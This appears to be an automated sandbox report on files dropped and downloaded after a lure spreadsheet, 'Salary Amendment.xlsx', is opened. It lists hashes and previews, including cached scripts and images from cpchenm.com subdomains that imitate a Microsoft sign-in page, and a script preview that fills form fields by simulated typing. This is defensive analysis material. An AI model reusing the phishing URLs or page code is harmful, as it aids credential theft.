C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4B89FF36.png

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 567 x 721, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	52380
Entropy (8bit):	7.9647837435832605
Encrypted:	false
SSDEEP:	1536:4bnJjOtKZNCM3pY/e9gSbMJsJVq29LNvzvpXA:4bAtfM3pJDysJVqAlLy
MD5:	2D59802E35BFCEF03B88FF5E56771967
SHA1:	C30A36A8E6FD4FF4D7E5B01C9D391F1D461A4819
SHA-256:	3D7E42B0B2BDB41E530A25E4B4A5AA34F56DB619764899D02C28B7F2F3BA1558
SHA-512:	A7E3F2A72C57D038D5621EC73994376C8388E24DF5391C525BBBC009E054267D76E1DE544754745831AF01BB174D94F68E435468F4C0FECB19085AF4207F9936
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...7.........(W.f....sRGB.........gAMA......a.....pHYs..........+.....1IDATx^..x...9....{.=..{.....K..h.{K....P.X.....wwO.@pww.. $XB`...a:.{'.....}.g.5k....I./ ..B.....B.."..B.._.RB.!..TJ.!...J.!../R)!...E%...H...B.....B.."..B.._.RB.!..TJ.!...J.!../R)!...%.R...v..e....B.q.@..Ix.J.!...H...B.....B.."..B.._\|.R.N.9~......!..~.L..'N.J=y.......gN9..B.q..J..1c\|..a..Gt>.0.........l:4e....6......s.fmm.`G....sNW..B\!..R..#.>....?R./....3..?N.hzd....J....'.:1_...I..'.~......!..B.X.f.N+.P..O}...........J.z.....7BU3>_.....?k......3.d8].B.q..J.....B...Tx.J.!...J.....B..<.R..J..L...3.N{...P.XI...........CW-L.Sq..........A.....;...y..Tx8/.2u....1a.8.!....C...8qBV......5k..7.o.].t...a..........B...J].'~.....M..-[.$....7o...>#...Q.....+Wr.....m.6...R.^.G......9t..al..{../Z.......4.X...~..w.5j.h...L..\.<.T<.D...d.M..A..5k....c@./^\|....\.p....8.q...Y~.h.b....G.a.i...P.&Mp.6n.x5[a&...(z...V.Z.J.~.Q.^.z.L.8q...?.....^.%D.!...e\|..<p....

C:\Users\user\Desktop\08130000

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	63642
Entropy (8bit):	7.887615020706231
Encrypted:	false
SSDEEP:	1536:27OW7bnJjOtKZNCM3pY/e9gSbMJsJVq29LNvzvpXoV:XMbAtfM3pJDysJVqAlL+
MD5:	BE3A9C25D7AA0E59C9B2CE671D4DBA86
SHA1:	DBCB30B295A4920ABBA198488CCC907686E68BCA
SHA-256:	83BABADAB2727227A171573BA0C5AD42F0909B9F95598BF11F7EE970268CC908
SHA-512:	D241FFEA085EC45F81536FCCC8931C2B6D7EB4EAF67BFDB46313A4843A16B73200172113FF10262C13BD8339E79B18875802E28575CEF3E49901463F3D9F893A
Malicious:	false
Reputation:	low
Preview:	PK..........!..'`p............[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T.n.0..W.?D.V..CUU..].-...L<$..my...;...D..I..{o^f.?\.U.....L..H..N.[d.w..y....ZU.B&6.b8x\|.O6.0.h..(......P+L...'3.jE........s.."sg.,u(b.A..fjQQ....."y..T.P.W&W.B...#....L....S.........0c...'.B....8.4u...OG...(.E...#.T.4...3..........hHF...-......yz..Z3.S.Z...}.....y..,$..... .J...v..L.!...s.[.6.R..c.z/...?v....*J....}..].......K....f..x..@...y..........,..O.>.-.i;........PK..........!..U0#....L......._rels

C:\Users\user\Desktop\08130000:Zone.Identifier

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Desktop\Salary Amendment.xlsx (copy)

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	63642
Entropy (8bit):	7.887615020706231
Encrypted:	false
SSDEEP:	1536:27OW7bnJjOtKZNCM3pY/e9gSbMJsJVq29LNvzvpXoV:XMbAtfM3pJDysJVqAlL+
MD5:	BE3A9C25D7AA0E59C9B2CE671D4DBA86
SHA1:	DBCB30B295A4920ABBA198488CCC907686E68BCA
SHA-256:	83BABADAB2727227A171573BA0C5AD42F0909B9F95598BF11F7EE970268CC908
SHA-512:	D241FFEA085EC45F81536FCCC8931C2B6D7EB4EAF67BFDB46313A4843A16B73200172113FF10262C13BD8339E79B18875802E28575CEF3E49901463F3D9F893A
Malicious:	false
Reputation:	low
Preview:	PK..........!..'`p............[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T.n.0..W.?D.V..CUU..].-...L<$..my...;...D..I..{o^f.?\.U.....L..H..N.[d.w..y....ZU.B&6.b8x\|.O6.0.h..(......P+L...'3.jE........s.."sg.,u(b.A..fjQQ....."y..T.P.W&W.B...#....L....S.........0c...'.B....8.4u...OG...(.E...#.T.4...3..........hHF...-......yz..Z3.S.Z...}.....y..,$..... .J...v..L.!...s.[.6.R..c.z/...?v....*J....}..].......K....f..x..@...y..........,..O.>.-.i;........PK..........!..U0#....L......._rels

C:\Users\user\Desktop\~$Salary Amendment.xlsx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	false
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 342 x 72, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5139
Entropy (8bit):	7.865234009830226
Encrypted:	false
SSDEEP:	96:oX2DsRVNYc82nTGTirCPqKO1gDPFjDiwK3aM5yO/bUlVV6JKo5N9jIMw7RLW1ZHb:ofRgc82nTprQsgDNDP7QgVVoH9+kMK9
MD5:	8B36337037CFF88C3DF203BB73D58E41
SHA1:	1ADA36FA207B8B96B2A5F55078BFE2A97ACEAD0E
SHA-256:	E4E1E65871749D18AEA150643C07E0AAB2057DA057C6C57EC1C3C43580E1C898
SHA-512:	97D8CC97C4577631D8D58C0D9276EE55E4B80128080220F77E01E45385C20FE55D208122A8DFA5DADCB87543B1BC291B98DBBA44E8A2BA90D17C638C15D48793
Malicious:	false
URL:	https://tvrcedjrhte.cpchenm.com/shared/1.0/content/images/applogos/53_7a3c80bf9694448bac31a9589d2e9e92.png
Preview:	.PNG........IHDR...V...H.............tEXtSoftware.Adobe ImageReadyq.e<...%iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.0 (Macintosh)" xmpMM:InstanceID="xmp.iid:DB120779422011EA9888910153D3A5E6" xmpMM:DocumentID="xmp.did:DB12077A422011EA9888910153D3A5E6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DB120777422011EA9888910153D3A5E6" stRef:documentID="xmp.did:DB120778422011EA9888910153D3A5E6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>P.WI....IDATx..]]l.......(.5.K0P..0...E.qT..J X)F.(5X....J.}(m.R5.Q...RUEUPU~.....qp@.b......L...k.m"0......"c.3

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64612)
Category:	downloaded
Size (bytes):	113769
Entropy (8bit):	5.492540089333064
Encrypted:	false
SSDEEP:	1536:RS8gIRPY0+r5qnWisLTfM6tQSqLXCIIgbgZ1uXt1EN5eAfGqOD:vgDTMnWRwvDIgb0q7Eb9u
MD5:	C6C029BA88D52E5312FEC69603A00340
SHA1:	079011F6F0662C11AE907C773EFE8E0C9338EAD0
SHA-256:	DDD0BB1C19B3D2D045BFCDE85D2020BBA57854C887A6691B66DBA3DA1BB3AFBE
SHA-512:	7DF09CD949A43D53D62D9013718158966508DEC2338491FFB38DC33D2EB85FF5C699792AE578975DA0E4F03CC7EA03774624208D06924EEA4C2EAC92E6E22C60
Malicious:	false
URL:	https://tvrcedjrhte.cpchenm.com/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[37],{1373:function(e,t,

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Category:	downloaded
Size (bytes):	660449
Entropy (8bit):	5.4121922690110535
Encrypted:	false
SSDEEP:	12288:3PUKyvwjOOvwZ1ARuxntuicBh8hS11dsUA:yvjZ+/pIUA
MD5:	D9E3D2CE0228D2A5079478AAE5759698
SHA1:	412F45951C6AEDA5F3DF2C52533171FC7BDD5961
SHA-256:	7041D585609800051E4F451792AEC2B8BD06A4F2D29ED6F5AD8841AAE5107502
SHA-512:	06700C65BEF4002EBFBFF9D856C12E8D71F408BACA2D2103DDE1C28319B6BD3859FA9D289D8AEB6DD484E802040F6EE537F31F97B4B60A6B120A6882C992207A
Malicious:	false
URL:	https://r4.res.office365.com/owa/prem/15.20.8137.29/scripts/boot.worldwide.3.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.3.mouse.js'] = (new Date()).getTime();..;_n.a.jR=function(n){return n.dS()};_n.a.jZ=function(n){return n.eh()};_n.a.jP=function(n){return n.cC()};_n.a.jQ=function(n){return n.ca()};_n.a.hZ=function(n){return n.dO};_n.a.jU=function(n){return n.ed()};_n.a.jT=function(n){return n.ea()};_n.a.kb=function(n){return n.ej()};_n.a.hM=function(n){return 300};_n.a.fh=function(n){return n.V};_n.a.jV=function(n){return n.bI()};_n.a.ie=function(n){return n.mh()};_n.a.km=function(n){return n.bl()};_n.a.ka=function(n){return n.ei()};_n.a.ko=function(n){return n.cV()};_n.a.eX=function(n){return _y.E.isInstanceOfType(n)?n.y:null};_n.a.jN=function(n){return n.c()};_n.a.gm=function(n){return n.b()};_n.a.jM=function(n){return n.b()};_n.a.ib=function(n){return n.jM()};_n.a.iq=function(n){return n.bG};_n.a.iX=function(n){return _n.V.isInstanceOfType(n)?n

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2313
Entropy (8bit):	4.63807884589442
Encrypted:	false
SSDEEP:	48:VkrI97INZMvFMqJLQ0jBbkOB5GwUpYrALOsMdAuIiQ3G:mI972ZMvOqVRj9kOB8wUwvsOEiQW
MD5:	4D54A0F81304EA9986C4176FE3ADCF18
SHA1:	1EBB1F26C32BD6D3D4ACDFB5769CB41804AC42CD
SHA-256:	2B7CD10968F38F86B3D68FAC6D8AC12A909BC04B37D48710A629822AD274AE8B
SHA-512:	D5BDA1FED0AFD2DAC75320AC08FE1F53477D7039485935122FC9175861B00F294349D777A89F5635DAA788C0C94ECDC0060E6772C620796DEE4EBE341109B9D6
Malicious:	false
URL:	https://tvrcemejeff.cpchenm.com/24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489/cfa6fe23a8b2678daff7e885b1ac3092843be13f2b5c8f8da62bca6faf6007db.js
Preview:	(function () {. const waitForAndSetValue = function (selector, value) {. findElement(selector).then((element) => simulateTyping(element, value));. };. async function simulateTyping(. element,. inputStr,. minDelay = 1,. maxDelay = 15. ) {. for (const char of inputStr.split("")) {. await new Promise((resolve) =>. setTimeout(resolve, getRandomInt(minDelay, maxDelay)). );. element.value += char;. triggerEvent(element, "input");. }. }. const findElement = function (selector) {. return new Promise(function (resolve, reject) {. if (typeof document === "undefined") {. reject(new Error("Document object doesn't exist."));. return;. }. var element = document.querySelector(selector);. if (element) {. resolve(element);. } else {. var observer = new MutationObserver(function (mutations) {. var element = document.querySelector(selector);. if (element) {. resolve(e

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (512)
Category:	downloaded
Size (bytes):	11970
Entropy (8bit):	5.416120131770621
Encrypted:	false
SSDEEP:	192:FPpd9ihiovIZwqsTh8Mi0Yl82YmYZewHe+IkA1niOpVTChGZu3PcXVstaD:ddEIyi0u82Y9ZewHPIkA1niOpVmOUPcX
MD5:	39A0EB35CD7799A181D34F4AE1DDB496
SHA1:	E933CA8534BCB6AD79D240316CE23C8B870050D0
SHA-256:	C8CEF105FCAF7CBF3F8682C861045505C24D41CF6686C20C1C03E14031A3DB69
SHA-512:	0AE990F9B57B55C3A8025BBE13C98ECD8A40C38380F9E0EFEF2BE7B418642EB040E4C537E684D2FEF7E04113450CFD4DEFF3414310773177220209991BBF1643
Malicious:	false
URL:	https://tvrcedjrhte.cpchenm.com/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js
Preview:	/! ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------..This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise. .. json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain..Provided for Informational Purposes Only..Public Domain. .NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK..----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------ */."object"!=typeof JSON&&(JSON={}),

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46591)
Category:	downloaded
Size (bytes):	142373
Entropy (8bit):	5.430672928653922
Encrypted:	false
SSDEEP:	1536:PyeDWgSr6fTPRUbx3XCg/MJA5NOii5WLeVdgWLDY2Js0VgtWyTJmxyAXP3onrGG0:IgD1g/Mq5L9EveUynbBws3cDp
MD5:	92E5790F5CABAF1D58A55D832710F69C
SHA1:	BCBFE087C3BF209AE9F25A31BB72088C88FE39F1
SHA-256:	05CE18FB2BD24769A695DE335AFD0D15A0FD2D34303B1FD9396D81A8E204057C
SHA-512:	AF48F7ECF0D32E33D4F3A60ABEA407F3DC1ABEA0F9B0B335BAF38AFB444A27DC673D77498AE207BFC31DC497EFF144BE270465406B97A4A9233F31183B3574B4
Malicious:	false
URL:	https://tvrcedjrhte.cpchenm.com/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://tvrcedjrhte.cpchenm.com/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, baseline, precision 8, 1920x1080, components 3
Category:	downloaded
Size (bytes):	17453
Entropy (8bit):	3.890509953257612
Encrypted:	false
SSDEEP:	192:P7FRTHQpmA3ZkXOL25cYty7l6UWUjMJBSab/vR+yzP:P/cpmgkF5+JWUjMp40P
MD5:	7916A894EBDE7D29C2CC29B267F1299F
SHA1:	78345CA08F9E2C3C2CC9B318950791B349211296
SHA-256:	D8F5AB3E00202FD3B45BE1ACD95D677B137064001E171BC79B06826D98F1E1D3
SHA-512:	2180ABE47FBF76E2E0608AB3A4659C1B7AB027004298D81960DC575CC2E912ECCA8C131C6413EBBF46D2AAA90E392EB00E37AED7A79CDC0AC71BA78D828A84C7
Malicious:	false
URL:	https://tvrcedjrhte.cpchenm.com/shared/1.0/content/images/appbackgrounds/49_6ffe0a92d779c878835b40171ffc2e13.jpg
Preview:	.....Phttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
URL:	https://tvrcedjrhte.cpchenm.com/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2313
Entropy (8bit):	4.63807884589442
Encrypted:	false
SSDEEP:	48:VkrI97INZMvFMqJLQ0jBbkOB5GwUpYrALOsMdAuIiQ3G:mI972ZMvOqVRj9kOB8wUwvsOEiQW
MD5:	4D54A0F81304EA9986C4176FE3ADCF18
SHA1:	1EBB1F26C32BD6D3D4ACDFB5769CB41804AC42CD
SHA-256:	2B7CD10968F38F86B3D68FAC6D8AC12A909BC04B37D48710A629822AD274AE8B
SHA-512:	D5BDA1FED0AFD2DAC75320AC08FE1F53477D7039485935122FC9175861B00F294349D777A89F5635DAA788C0C94ECDC0060E6772C620796DEE4EBE341109B9D6
Malicious:	false
URL:	https://tvrceocprq.cpchenm.com/24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489/cfa6fe23a8b2678daff7e885b1ac3092843be13f2b5c8f8da62bca6faf6007db.js
Preview:	(function () {. const waitForAndSetValue = function (selector, value) {. findElement(selector).then((element) => simulateTyping(element, value));. };. async function simulateTyping(. element,. inputStr,. minDelay = 1,. maxDelay = 15. ) {. for (const char of inputStr.split("")) {. await new Promise((resolve) =>. setTimeout(resolve, getRandomInt(minDelay, maxDelay)). );. element.value += char;. triggerEvent(element, "input");. }. }. const findElement = function (selector) {. return new Promise(function (resolve, reject) {. if (typeof document === "undefined") {. reject(new Error("Document object doesn't exist."));. return;. }. var element = document.querySelector(selector);. if (element) {. resolve(element);. } else {. var observer = new MutationObserver(function (mutations) {. var element = document.querySelector(selector);. if (element) {. resolve(e

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	190152
Entropy (8bit):	5.348678574819375
Encrypted:	false
SSDEEP:	3072:0+mTq9mTuZEOHEXp6WXWkYVlMBMwMlJNbdffVv6GhL+rUWxa:STekBWkYVdLlJNbr6m+rUGa
MD5:	4877EFC88055D60953886EC55B04DE34
SHA1:	2341B026A3E2A3B01AFA1A39D1706840D75E09B3
SHA-256:	8405362EB8F09DF13AE244DE155B51B1577274673D9728B6C81CD0278A63C8B0
SHA-512:	625844EDC37594D5C2F7622BD1B59278BF68ABB2FA22476C56826433C961C7B1924858A7588F8B6284D3C5AC8738ECB895EEC949DE18667A98C04A59CB03DAC0
Malicious:	false
URL:	https://tvrcedjrhte.cpchenm.com/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
Preview:	(window.telemetry_webpackJsonp=window.telemetry_webpackJsonp\|\|[]).push([[2],[,,,function(e,t,n){"use strict";n.r(t),n.d(t,"ValueKind",(function(){return r.e})),n.d(t,"EventLatency",(function(){return r.a})),n.d(t,"EventPersistence",(function(){return r.b})),n.d(t,"TraceLevel",(function(){return r.d})),n.d(t,"AppInsightsCore",(function(){return i.a})),n.d(t,"BaseCore",(function(){return d})),n.d(t,"_ExtendedInternalMessageId",(function(){return r.f})),n.d(t,"EventPropertyType",(function(){return r.c})),n.d(t,"ESPromise",(function(){return g})),n.d(t,"ESPromiseScheduler",(function(){return C})),n.d(t,"ValueSanitizer",(function(){return I})),n.d(t,"NotificationManager",(function(){return E.a})),n.d(t,"BaseTelemetryPlugin",(function(){return S.a})),n.d(t,"ProcessTelemetryContext",(function(){return N.a})),n.d(t,"MinChannelPriorty",(function(){return w.a})),n.d(t,"EventsDiscardedReason",(function(){return P.a})),n.d(t,"DiagnosticLogger",(function(){return c.a})),n.d(t,"LoggingSeverity",(fun

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
